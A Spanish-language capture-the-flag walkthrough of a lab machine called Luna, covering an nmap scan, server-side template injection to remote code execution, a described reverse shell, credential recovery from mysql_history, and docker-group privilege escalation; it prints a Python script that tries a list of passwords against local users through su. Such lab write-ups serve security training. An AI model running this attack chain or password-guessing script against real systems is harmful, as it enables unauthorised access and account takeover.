The Hackers Labs Luna

Primero que nada escaneamos los puertos abiertos en el host y observamos dos puertos.


# Nmap 7.94SVN scan initiated Wed Aug 14 11:29:10 2024 as: nmap -sCV -p80,5000 -oN target.txt 172.16.241.185
Nmap scan report for 172.16.241.185
Host is up (0.00068s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.58
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.58 (Ubuntu)
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.0.3 Python/3.12.3
|     Date: Wed, 14 Aug 2024 15:29:23 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 3161
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>RodGar</title>
|     <style>
|     body {
|     margin: 0;
|     font-family: Arial, sans-serif;
|     overflow: hidden;
|     position: relative;
|     height: 100vh;
|     background-color: #f4f4f9; /* Fallback color */
|     video.background {
|     position: absolute;
|     top: 0;
|     left: 0;
|     width: 100%;
|     height: 100%;
|     object-fit: cover;
|     z-index: -1; /* B
|   RTSPRequest: 
|     <!DOCTYPE HTML>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.94SVN%I=7%D=8/14%Time=66BCCD53%P=x86_64-pc-linux-gnu%r
SF:(GetRequest,D08,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/3\.0\.3\
SF:x20Python/3\.12\.3\r\nDate:\x20Wed,\x2014\x20Aug\x202024\x2015:29:23\x2
SF:0GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:
SF:\x203161\r\nConnection:\x20close\r\n\r\n\n\x20\x20\x20\x20<!DOCTYPE\x20
SF:html>\n\x20\x20\x20\x20<html\x20lang=\"en\">\n\x20\x20\x20\x20<head>\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20<meta\x20charset=\"UTF-8\">\n\x20\x20\x2
SF:0\x20\x20\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=devi
SF:ce-width,\x20initial-scale=1\.0\">\n\x20\x20\x20\x20\x20\x20\x20\x20<ti
SF:tle>RodGar</title>\n\x20\x20\x20\x20\x20\x20\x20\x20<style>\n\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20body\x20{\n\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20margin:\x200;\n\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-family:\x20Arial
SF:,\x20sans-serif;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20overflow:\x20hidden;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20position:\x20relative;\n\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20height:\x20100vh;\n\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20background-color
SF::\x20#f4f4f9;\x20/\*\x20Fallback\x20color\x20\*/\n\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20video\.background\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20position:\x20absolute;\n\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20top:\x200;\n\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20left:\x200;\n\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20width:\x20100%;\n\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20height:\x
SF:20100%;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20object-fit:\x20cover;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20z-index:\x20-1;\x20/\*\x20B")%r(RTSPRequest,16C,"<!DO
SF:CTYPE\x20HTML>\n<html\x20lang=\"en\">\n\x20\x20\x20\x20<head>\n\x20\x20
SF:\x20\x20\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20\x
SF:20\x20\x20\x20<title>Error\x20response</title>\n\x20\x20\x20\x20</head>
SF:\n\x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20
SF:response</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400
SF:</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20
SF:version\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Er
SF:ror\x20code\x20explanation:\x20400\x20-\x20Bad\x20request\x20syntax\x20
SF:or\x20unsupported\x20method\.</p>\n\x20\x20\x20\x20</body>\n</html>\n");
Service Info: Host: 127.0.1.1

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Aug 14 11:30:50 2024 -- 1 IP address (1 host up) scanned in 99.52 seconds

Ahora buscamos las versiones y servicios que corren para cada uno de estos puertos.


Si lanzamos un whatweb sobre el puerto 5000 observamos que esta corriendo con python.


Si vamos al sitio web, vamos a hacer unas pruebas para ver si es vulnerable SERVER SIDE TEMPLATE INJECTION.


Observamos que nos interpreta el calculo que le hemos pasado el 7*3, nos dice hello 21, comprobado que es vulnerable, vamos a tratar de explotarlo.


Si nos vamos ah Payloads All The Things, vamos a buscar a ver si podemos obtener un RCE en la plantilla.


Observamos que tenemos RCE le hemos pasado un id, y nos ah reportado la informacion que le hemos solicitado.


Ahora vamos a ganar acceso a la maquina.

  1. Numero uno usando la misma solicitud de id la usaremos para enviarnos una rever, aprovechando que lo que hace la consulta es un read, vamos enivar una solictud usando curl ah nuestra IP atacante.

  2. Segundo nos creamos un index.html con esta estructura que es el archivo que intentara leer cuando se envie la solicitud.

  3. Tercero nos compartimos un servidor con python3 para enviarnos la solicitud desde la web

  4. Como cuarto punto observamos que hemos ganado acceso a la maquina donde hacemos un whoami y somos www-data.


  • Ahora enumerando procesos en la maquina observamos que esta corriendose un servicio de mysql.


Si listamos los archivos ocultos observamos el de mysql_history donde podemos observar credenciales de acceso.


Nos conectamos a la base de datos y tenemos un nombre juan y una contraseña en base64.


Como numero uno hacemos la reconvercion del formato del base64 a su texto original, si hacemos un grep del /etc/passwd observamos que existe un usuario llamado juan y entonces hacemos un UserPivoting, y ahora migramos de www-data a juan, Observamos que en el directorio de juan tenemos unas password.

Como el ssh no esta disponible nos vamos a crear un script en python3


Con el script que creamos para comprobar que contraseña es valida para cada usuario a nivel de sistema obtenemos una respuesta positiva para el usuario jose.

Los usuarios los saque del /home que igualmente los puedes listar en el /passwd.


#!/usr/bin/env python3 
# Autor: rodgar

import subprocess

def verificar_contraseña(usuario, contraseña):
    # Intentar autenticar al usuario con la contraseña proporcionada
    proceso = subprocess.Popen(['su', usuario, '-c', 'echo success'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    salida, error = proceso.communicate(input=(contraseña + '\n').encode())

    # Verificar si la autenticación fue exitosa
    if proceso.returncode == 0:
        return True
    else:
        return False

# Lista de usuarios y contraseñas
usuarios = ["carmen", "john", "jose", "juan"]
contraseñas = [
    "Tr0ub4dor&3", "M0nkey!2024", "L3tMeIn@2024", "S3cur3P@ssw0rd", 
    "P@ssw0rd1234", "G00dP@ssw0rd!", "R3liable#2024", "W1nter$2024", 
    "H@ppyD@y#1", "4U&Me2Day!", "B3stS3cur!ty", "F1rst&Last@2024"
]

# Función para imprimir en color
def imprimir_color(mensaje, color):
    print("\033[" + color + "m" + mensaje + "\033[0m")

# Iterar sobre cada usuario
for usuario in usuarios:
    # Variable para controlar si se encontró una contraseña válida para el usuario
    contraseña_encontrada = False
    
    # Iterar sobre cada contraseña para el usuario actual
    for contraseña in contraseñas:
        if verificar_contraseña(usuario, contraseña):
            imprimir_color("[+] Contraseña válida! Usuario: " + usuario + " Contraseña: " + contraseña, "92")
            contraseña_encontrada = True
            break
    
    # Si ninguna contraseña fue válida, imprimir un mensaje en rojo
    if not contraseña_encontrada:
        imprimir_color("[-] Contraseña invalida para el usuario: " + usuario, "91")

Aca dejo el script creado.


Con la contraseña valida nos migramos a jose y obervamos que esta en el grupo docker, nos vamos al GTFObins y wala.


Ejecutamos y somos root, buscamos nuestras banderas y maquina resuelta.

Última actualización